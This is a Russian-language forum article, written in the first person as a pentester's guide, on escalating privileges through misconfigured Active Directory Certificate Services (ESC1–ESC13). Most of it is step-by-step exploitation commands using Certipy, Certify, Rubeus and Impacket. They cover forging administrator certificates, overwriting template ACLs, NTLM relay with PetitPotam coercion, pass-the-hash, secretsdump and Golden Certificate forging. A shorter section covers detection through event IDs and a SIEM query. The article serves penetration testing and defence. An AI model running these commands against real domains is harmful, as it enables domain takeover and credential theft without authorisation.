ANTICHAT - AD CS атаки эскалация привилегий: практический гайд по ESC1

https://forum.antichat.xyz/attachmen...ccd5abb282.png

Active Directory Certificate Services - компонент, мимо которого я не прохожу ни на одном внутреннем пентесте (общий контекст атак на домен - в гайде по пентесту Active Directory). За последние два года не было ни одного проекта с развёрнутым AD CS, где я не нашёл бы хотя бы одну мисконфигурацию, ведущую к Domain Admin. Причина банальна: админы воспринимают PKI как «просто работающий сервис», а не как Tier 0 актив, требующий такого же внимания, как контроллер домена. Здесь разберу все техники ESC1–ESC13, покажу конкретные команды для эксплуатации через Certipy и Certify, и объясню, где теория расходится с реальностью на боевых проектах.

Цитата:

Статья составлена со слов участника команды античат . Повествование от первого лица.

Почему AD CS - критическая поверхность атаки
Служба сертификации Active Directory разворачивает собственную PKI-инфраструктуру в доменной сети. Она выпускает сертификаты для аутентификации клиентов, шифрования, подписания кода и других задач. Шаблоны сертификатов определяют параметры выпуска: кому, на какой срок, с какими Extended Key Usage (EKU) и с какими ограничениями.

В 2021 году команда SpecterOps опубликовала whitepaper «Certified Pre-Owned», описавший восемь примитивов эскалации привилегий - ESC1–ESC8. Позже Oliver Lyak (автор Certipy) добавил ESC9 и ESC10, Sylvain Heiniger описал ESC11, Hans-Joachim Knobloch - ESC12, а Jonas Bülow Knudsen - ESC13. Каждая техника бьёт в свой класс мисконфигураций, но результат один: сертификат, позволяющий аутентифицироваться от имени привилегированного пользователя.

С точки зрения MITRE ATT&CK вся тематика AD CS abuse маппится прежде всего на технику Steal or Forge Authentication Certificates (T1649, Credential Access). Полученный TGT далее используется через Pass the Ticket (T1550.003, Lateral Movement/Defense Evasion), а при компрометации CA - через Golden Ticket (T1558.001, Credential Access) и Private Keys (T1552.004, Credential Access).

Реальные APT-группировки активно эксплуатируют эти техники. По данным Semperis, APT29 злоупотреблял мисконфигурациями шаблонов сертификатов для имперсонации привилегированных учёток через SAN-поле. Группировка UNC5330 после эксплуатации CVE-2024-21887 (CVSS 9.1 CRITICAL, CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, command injection в Ivanti Connect Secure, требует аутентификации администратора; в реальных кампаниях использовалась в цепочке с CVE-2023-46805 authentication bypass, CVSS 8.2 HIGH) использовала LDAP bind account для злоупотребления уязвимым шаблоном Windows-сертификата, создания компьютерного объекта и имперсонации Domain Admin.
Энумерация AD CS инфраструктуры с Certipy и Certify
Любой пентест AD CS начинается с разведки. Задача - найти все центры сертификации в домене, перечислить доступные шаблоны и выявить мисконфигурации.
Certipy: основной инструмент из Linux
Certipy - Python-инструмент Oliver Lyak'а, ставший стандартом для аудита AD CS из Linux-окружений. Одна команда - и полная картина перед глазами:

Bash:

Код:

certipy

find

-u

'lowprivuser@domain.local'

-p

'Password123'

-dc-ip

10.10

.10.1 -vulnerable -enabled

Флаг

Код:

-vulnerable

фильтрует только шаблоны с известными мисконфигурациями,

Код:

-enabled

отсекает отключённые. На выходе - JSON и TXT с полным описанием каждого шаблона: права Enroll/AutoEnroll, флаги

Код:

msPKI-Certificate-Name-Flag

, EKU, настройки Issuance Requirements и ACL.

Результаты можно скормить BloodHound для визуализации путей атаки. Это позволяет коррелировать данные AD CS с графом привилегий домена и находить цепочки, которые руками обнаружить тяжело.
Certify: для Windows-окружений
Когда работаем с захваченной Windows-машины, в ход идёт Certify - C#-инструмент:

Код:

Код:

Certify.exe find /vulnerable

По функциям Certify покрывает те же задачи, но работает нативно в Windows. Я часто использую оба: Certipy для первичной разведки с атакующей машины, Certify - для эксплуатации из доменного контекста.
ESC1: произвольный SAN - хлеб пентестера
ESC1 - самая распространённая и самая опасная мисконфигурация, которую я встречаю на проектах. Суть проста: шаблон сертификата позволяет запрашивающему указать произвольное значение Subject Alternative Name (SAN) в CSR-запросе.
Условия эксплуатации ESC1
Для успешной атаки шаблон должен одновременно удовлетворять следующим требованиям:

Непривилегированный пользователь имеет право Enroll на шаблон
Флаг

Код:

msPKI-Certificate-Name-Flag

содержит значение

Код:

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

(числовое значение

Код:

1

)
Manager Approval отключён (ручное одобрение не требуется)
Authorised Signatures не настроены (значение 0)
EKU содержит Client Authentication (

Код:

1.3.6.1.5.5.7.3.2

), PKINIT Client Authentication (

Код:

1.3.6.1.5.2.3.4

), Smart Card Logon (

Код:

1.3.6.1.4.1.311.20.2.2

) или Any Purpose (anyExtendedKeyUsage, OID

Код:

2.5.29.37.0

- мета-значение, означающее отсутствие ограничений на использование)

Эксплуатация через Certipy
Запрашиваем сертификат от имени Domain Admin:

Bash:

Код:

certipy req -u

'lowprivuser@domain.local'

-p

'Password123'

\

-dc-ip

10.10

.10.1 -target ca-server.domain.local

\

-ca

'domain-CA'

-template

'VulnerableTemplate'

\

-upn

'administrator@domain.local'

На выходе - PFX-файл с сертификатом и приватным ключом. Аутентифицируемся:

Bash:

Код:

certipy auth -pfx administrator.pfx -dc-ip

10.10

.10.1

Certipy использует PKINIT для получения TGT, а затем выполняет UnPAC-the-hash - вытаскивает NT-хэш учётки из PAC в TGT. Этот хэш идёт в Pass-the-Hash через Impacket:

Bash:

Код:

impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:ntlm_hash

\

administrator@10.10.10.1

Эксплуатация через Certify и Rubeus
На Windows-машине цепочка выглядит иначе:

Код:

Код:

Certify.exe request /ca:ca-server.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator

Сертификат сохраняется в PEM, конвертируем в PFX:

Код:

Код:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Запрашиваем TGT через Rubeus:

Код:

Код:

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /nowrap

Полученный TGT в base64 - передаём в Pass-the-Ticket.
Верификация сертификата
Перед использованием убеждаемся, что SAN корректно включён:

Bash:

Код:

openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out admin.pem

openssl x509 -in admin.pem -text -noout

|

grep

-A1

'Subject Alternative Name'

Если в выводе виден UPN целевого пользователя - сертификат готов.
ESC2 и ESC3: Any Purpose и Enrollment Agent
ESC2: сертификат-универсал
ESC2 бьёт в шаблоны, где EKU содержит Any Purpose (

Код:

2.5.29.37.0

) или EKU отсутствует вообще (как SubCA). Такой сертификат становится «мастер-ключом» - годится для чего угодно: аутентификация клиента, подписание кода, Certificate Request Agent.

Bash:

Код:

certipy req -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-target ca.domain.local -ca

'domain-CA'

-template

'AnyPurposeTemplate'

Полученный сертификат можно использовать как Enrollment Agent для ESC3.
ESC3: двухэтапная атака через Enrollment Agent
ESC3 требует двух уязвимых шаблонов. Первый даёт сертификат с EKU Certificate Request Agent (

Код:

1.3.6.1.4.1.311.20.2.1

). Второй разрешает co-signing запросов агентом и выпуск сертификата от имени другого пользователя.

Этап 1 - получаем сертификат Enrollment Agent:

Bash:

Код:

certipy req -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-target ca.domain.local -ca

'domain-CA'

-template

'AgentTemplate'

Этап 2 - используем его для запроса за другого пользователя:

Bash:

Код:

certipy req -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-target ca.domain.local -ca

'domain-CA'

-template

'UserTemplate'

\

-on-behalf-of

'domain\administrator'

-pfx agent.pfx

На практике ESC3 попадается реже ESC1, но обнаружить её сложнее. Первый этап запроса выглядит абсолютно легитимно.
ESC4: перезапись ACL шаблона - цепочка в ESC1
ESC4 - моя любимая цепочка на проектах. Защитники часто проверяют конфигурацию шаблонов, но забывают про ACL на объектах шаблонов в AD. Классика.

Если непривилегированный пользователь имеет права WriteProperty, WriteDacl, WriteOwner или FullControl на объект шаблона сертификата в

Код:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration

, он может перезаписать свойства шаблона и превратить его в уязвимый для ESC1.
Цепочка ESC4 → ESC1
Шаг 1 - находим шаблон с избыточными ACL:

Bash:

Код:

certipy

find

-u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1 -vulnerable

Certipy отобразит шаблоны с опасными ACE в разделе

Код:

[!] Vulnerabilities

.

Шаг 2 - перезаписываем шаблон, делая его уязвимым для ESC1:

Bash:

Код:

certipy template -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-template

'TargetTemplate'

-save-old

Флаг

Код:

-save-old

сохраняет оригинальную конфигурацию для отката. Certipy автоматически выставляет

Код:

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

, добавляет EKU Client Authentication и убирает Manager Approval.

Шаг 3 - эксплуатируем как стандартный ESC1:

Bash:

Код:

certipy req -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-target ca.domain.local -ca

'domain-CA'

-template

'TargetTemplate'

\

-upn

'administrator@domain.local'

Шаг 4 - восстанавливаем оригинальную конфигурацию:

Bash:

Код:

certipy template -u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-template

'TargetTemplate'

-configuration TargetTemplate.json

OPSEC-момент: модификация шаблона генерирует Event ID 4899/4900 на CA и Event ID 5136 на контроллере домена, так что действовать нужно быстро.
ESC5–ESC7: атаки на уровне центра сертификации
ESC5: контроль над объектами PKI в AD
ESC5 расширяет логику ESC4 на все объекты PKI в Active Directory: объект CA, объект

Код:

CN=Public Key Services

, NTAuthCertificates и другие. Если атакующий получает контроль над учётной записью компьютера CA-сервера или объектом CA в AD, это может привести к полной компрометации PKI-инфраструктуры.

По данным BI.ZONE, обнаружение несанкционированной установки сертификата центра сертификации возможно через аудит изменений атрибутов объекта NTAuthCertificates с помощью Event ID 5136.
ESC6: флаг EDITF_ATTRIBUTESUBJECTALTNAME2
ESC6 основан на флаге

Код:

EDITF_ATTRIBUTESUBJECTALTNAME2

, установленном на уровне CA. Этот флаг позволяет указать произвольный SAN в любом запросе, независимо от настроек шаблона.

Нюанс, о котором многие забывают: после патча KB5014754 (май 2022) начался постепенный переход к strong certificate mapping. В Compatibility Mode (по умолчанию до февраля 2025) ESC6 мог работать при определённых условиях в зависимости от

Код:

StrongCertificateBindingEnforcement

. Full Enforcement Mode, полностью блокирующий ESC6, включён по умолчанию с обновлениями февраля 2025. При этом на практике я до сих пор встречаю серверы без этого патча - особенно в изолированных сегментах. Проверить наличие флага:

Код:

Код:

certutil -getreg policy\EditFlags

Если вывод содержит строку

Код:

EDITF_ATTRIBUTESUBJECTALTNAME2

- флаг установлен. При использовании

Код:

certutil -v -getreg policy\EditFlags

биты декодируются автоматически. Для ручной проверки: вывод содержит значение вида

Код:

EditFlags REG_DWORD = 15014e (1376590)

- проверяем через

Код:

python3 -c "print(hex(1376590 & 0x00040000))"

, если результат не

Код:

0x0

- флаг активен.
ESC7: злоупотребление правами CA Manager
ESC7 - многоэтапная атака, требующая прав ManageCA или ManageCertificates на объекте CA. Основной вектор: атакующий с правом ManageCA может:

Добавить себе право ManageCertificates
Запросить сертификат по шаблону SubCA (запрос будет отклонён)
Одобрить отклонённый запрос через ManageCertificates и получить сертификат

Устаревший вариант - включение флага

Код:

EDITF_ATTRIBUTESUBJECTALTNAME2

(превращая ситуацию в ESC6) - ненадёжен после включения Full Enforcement Mode strong certificate mapping (февраль 2025).

Одна из немногих техник, где атака происходит «изнутри» CA-сервера. Митигация - строгий контроль ACL на объекте CA и ограничение прав ManageCA/ManageCertificates.
ESC8: NTLM Relay на Web Enrollment
ESC8 - единственная техника из оригинального whitepaper, не требующая прямого доступа к учётным данным. Если на CA включен Web Enrollment (HTTP-эндпоинт

Код:

certsrv

), атакующий может выполнить NTLM relay, перенаправив аутентификацию контроллера домена на HTTP-интерфейс CA.
Цепочка атаки ESC8

Принуждаем контроллер домена к аутентификации (через PetitPotam, PrinterBug и т.д.)
Перенаправляем NTLM-аутентификацию на

Код:

http://ca-server/certsrv/
Запрашиваем сертификат от имени DC

Bash:

Код:

# Терминал 1: запуск встроенного NTLM relay server (слушает на порту 445)

certipy relay -target

'http://ca-server'

-ca

'domain-CA'

\

-template

'DomainController'

# Терминал 2: принуждение DC к аутентификации на атакующую машину

python3 PetitPotam.py

Митигация: отключить HTTP на Web Enrollment и использовать HTTPS с Extended Protection for Authentication, либо полностью выключить Web Enrollment, если он не нужен.
ESC9–ESC11: пост-патчевые техники
ESC9: злоупотребление GenericWrite и слабым маппингом
ESC9 эксплуатирует ситуацию, когда атакующий имеет GenericWrite на учётную запись и может перезаписать атрибут

Код:

userPrincipalName

. Шаблон при этом содержит флаг

Код:

CT_FLAG_NO_SECURITY_EXTENSION

, который предотвращает включение SID запрашивающего в сертификат. Механика: 1) перезаписываем UPN жертвы на UPN привилегированного пользователя (например,

Код:

administrator@domain.local

); 2) запрашиваем сертификат по уязвимому шаблону - SID не включается из-за

Код:

CT_FLAG_NO_SECURITY_EXTENSION

; 3) восстанавливаем оригинальный UPN; 4) аутентифицируемся с полученным сертификатом - KDC маппит по UPN без проверки SID. Требует

Код:

StrongCertificateBindingEnforcement=1

(Compatibility Mode).
ESC10: слабый маппинг сертификатов
ESC10 связан со значениями реестровых ключей на контроллере домена, отвечающих за маппинг сертификатов к учётным записям. Два случая:

Case 1 (

Код:

StrongCertificateBindingEnforcement=0

): KDC не проверяет SID в сертификате вообще. Любой сертификат с UPN привилегированного пользователя позволяет аутентификацию через PKINIT - аналогично ESC9, но без требования флага

Код:

CT_FLAG_NO_SECURITY_EXTENSION

.

Case 2 (

Код:

CertificateMappingMethods

содержит

Код:

0x4

): Schannel-аутентификация (например, LDAPS) использует UPN mapping без проверки SID. Атака идёт через LDAPS вместо PKINIT, что расширяет вектор на сценарии, где Kerberos недоступен.
ESC11: Relay на RPC (ICertPassage)
ESC11 аналогичен ESC8, но вместо HTTP-эндпоинта Web Enrollment используется протокол ICertPassage (RPC). Если на CA не включено требование подписи пакетов для RPC, атакующий может выполнить NTLM relay на RPC-интерфейс CA. Технику описал Sylvain Heiniger.
ESC12 и ESC13: HSM и OID Group Link
ESC12: доступ к CA с HSM
ESC12, описанный Hans-Joachim Knobloch, эксплуатирует ситуацию, когда атакующий получил shell на сервер CA, а приватный ключ CA хранится в Hardware Security Module (HSM). Через CA-утилиты можно подписывать произвольные сертификаты, минуя ограничения HSM.
ESC13: OID Group Link - эскалация через пустую группу
ESC13 от Jonas Bülow Knudsen - элегантная атака, основанная на механизме Authentication Mechanism Assurance (AMA). Суть: если в шаблоне сертификата задана Issuance Policy, OID которой связан с группой AD через атрибут

Код:

msDS-OIDToGroupLink

, то при аутентификации с таким сертификатом пользователь временно получает членство в указанной группе.

Условия ESC13:

Шаблон доступен для Enroll непривилегированному пользователю
EKU содержит Client Authentication
В Extensions → Issuance Policies указан OID
Этот OID связан с Universal Security Group через

Код:

msDS-OIDToGroupLink
Группа имеет высокие привилегии (или входит в привилегированную группу)

Для обнаружения ESC13 можно использовать PowerShell-скрипт

Код:

Check-ADCSESC13.ps1

от Jonas Bülow Knudsen, который перечисляет OID с заполненным

Код:

msDS-OIDToGroupLink

и соотносит их с шаблонами.

Эксплуатация через Certify:

Код:

Код:

Certify.exe request /ca:ca-server.domain.local\domain-CA /template:ESC13Template

Конвертируем в PFX и запрашиваем TGT через Rubeus:

Код:

Код:

Rubeus.exe asktgt /user:lowprivuser /certificate:esc13.pfx /nowrap

KDC, обрабатывая PKINIT-запрос, проверяет OID в сертификате, обнаруживает привязку к группе и добавляет SID этой группы в PAC билета. Верификация:

Код:

Код:

Rubeus.exe describe /ticket: /servicekey:

Если SID целевой группы присутствует в PAC - эскалация прошла.
От сертификата к Domain Admin: пост-эксплуатация
UnPAC-the-hash
После получения сертификата через любую ESC-технику следующий шаг - вытащить NT-хэш целевой учётки. Certipy делает это автоматически через PKINIT и U2U:

Bash:

Код:

certipy auth -pfx administrator.pfx -dc-ip

10.10

.10.1

На выходе - NT-хэш для Pass-the-Hash.
Golden Certificate (DPERSIST1)
Если скомпрометирован приватный ключ CA (через ESC5, ESC7 или ESC12), атакующий может подписывать произвольные сертификаты без обращения к CA-серверу - аналог Golden Ticket, но через PKI. Маппится на MITRE ATT&CK Golden Ticket (T1558.001).

Bash:

Код:

certipy ca -backup -u

'admin@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1

\

-ca

'domain-CA'

certipy forge -ca-pfx ca.pfx -upn

'administrator@domain.local'

\

-subject

'CN=Administrator,CN=Users,DC=domain,DC=local'

Подделанный сертификат не отображается в журналах CA - именно это делает Golden Certificate таким опасным вектором persistence.
Связь с CVE-2022-26923 (Certifried)
Отдельная история - CVE-2022-26923, Active Directory Domain Services Elevation of Privilege Vulnerability (CVSS 8.8 HIGH, вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, CWE-295). Уязвимость позволяла создать компьютерный объект с dNSHostName контроллера домена, запросить машинный сертификат по стандартному шаблону Machine и аутентифицироваться от имени DC. В отличие от ESC1, мисконфигурированный шаблон не требовался - баг был в логике маппинга dNSHostName к идентичности при выпуске сертификата. Microsoft выпустил патч, и именно после Certifried усилилось внимание к strong certificate mapping.
Обнаружение атак на AD CS
Для защитников критично включить аудит на CA-сервере - по умолчанию он выключен. Ключевые Event ID:

Event IDОписаниеРелевантные ESC4886Запрос на получение сертификатаESC1, ESC2, ESC34887Сертификат выпущен (для ESC13: проверять Issuance Policy OID, связанный через msDS-OIDToGroupLink)ESC1, ESC2, ESC3, ESC134888Запрос на сертификат отклонёнВсе4898Загрузка шаблона службой CA при старте или обновлении кэша (не при каждом enrollment)-4899Шаблон обновлён в кэше CA (вторичный индикатор; генерируется на CA-сервере)ESC4 (вторичный)4900Изменены разрешения шаблона в кэше CA (вторичный индикатор; генерируется на CA-сервере)ESC4 (вторичный)5136Изменён объект Directory Services (основной индикатор ESC4; генерируется на DC при изменении объекта шаблона через LDAP)ESC4 (основной), ESC5Event 39/41Несовпадение SID при strong mappingESC1 (пост-патч)

Для детектирования ESC1 в SIEM нужно сопоставлять поля Requester и UPN в событиях 4886/4887 - если они не совпадают, это аномалия. По данным Black Hills Information Security, базовый KQL-запрос для Microsoft Sentinel:

Код:

Код:

SecurityEvent

| where EventID == 4886 or EventID == 4887

Дальше анализируем, совпадает ли запрашивающий (Requester) с субъектом выпущенного сертификата (UPN/SAN). Для полноценного мониторинга также нужно включить Audit Certification Services через GPO:

Код:

Код:

Computer Configuration > Policies > Windows Settings > Security Settings >

Advanced Audit Policy Configuration > Object Access > Audit Certification Services

И активировать все типы аудита в свойствах CA через snap-in certsrv.msc → вкладка Auditing.
Сводная таблица ESC1–ESC13

ТехникаСуть мисконфигурацииИнструмент СложностьESC1Enrollee Supplies Subject + Client AuthCertipy, CertifyНизкаяESC2Any Purpose EKU или отсутствие EKUCertipyНизкаяESC3Enrollment Agent + второй шаблонCertipyСредняяESC4WriteProperty/WriteDacl на шаблонCertipyСредняяESC5Контро� �ь над объектами PKI в ADВручнуюВысокаяESC6EDITF_ATTRIBUTES UBJECTALTNAME2CertutilНизкая (до патча)ESC7ManageCA/ManageCertificates праваCertipyСредняяESC8NTLM Relay на HTTP Web EnrollmentCertipy relayСредняяESC9GenericWrite + NO_SECURITY_EXTENSIONCertipyВысокаяESC10С� �абый маппинг сертификатов на DCCertipyВысокаяESC11NTLM Relay на RPC (ICertPassage)Certipy relayСредняяESC12Shell-доступ к CA с HSMВручнуюВысокаяESC13OID Group Link через msDS-OIDToGroupLinkCertify, CertipyСредняя

Практический чеклист для пентестера
Минимальная последовательность, которую я выполняю на каждом проекте:

🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Шаг 1 - энумерация:

Bash:

Код:

certipy

find

-u

'user@domain.local'

-p

'Pass'

-dc-ip

10.10

.10.1 -vulnerable -enabled -stdout

Шаг 2 - анализ результатов. Смотрю ESC1/ESC2 (быстрые победы), затем ESC4 (цепочки), затем ESC8 (relay). ESC13 проверяю отдельно - анализирую OID-объекты.

Шаг 3 - эксплуатация. Начинаю с ESC1, если нашлась. Нет ESC1 - проверяю ESC4 для цепочки ESC4→ESC1. Торчит Web Enrollment - пробую ESC8.

Шаг 4 - получение хэша:

Bash:

Код:

certipy auth -pfx target.pfx -dc-ip

10.10

.10.1

Шаг 5 - валидация. Проверяю полученный доступ через secretsdump:

Bash:

Код:

impacket-secretsdump -hashes :NT_HASH domain.local/administrator@10.10.10.1

Шаг 6 - очистка. Если модифицировал шаблон (ESC4) - откатываю оригинальную конфигурацию. Если использовал relay - останавливаю listener.[/HIDEN]

AD CS атаки через злоупотребление шаблонами сертификатов Active Directory - один из самых надёжных путей к Domain Admin в корпоративных сетях. Certipy и Certify автоматизируют большую часть рутины, но понимание механики каждой ESC-техники критично для нестандартных ситуаций, где автоматизация буксует. Проверяйте не только шаблоны, но и ACL, OID-привязки, флаги CA и настройки маппинга. Именно там прячутся самые вкусные мисконфигурации. Запустите

Код:

certipy find -vulnerable

на своём следующем проекте - если AD CS развёрнут, с вероятностью процентов 80 что-нибудь да найдётся.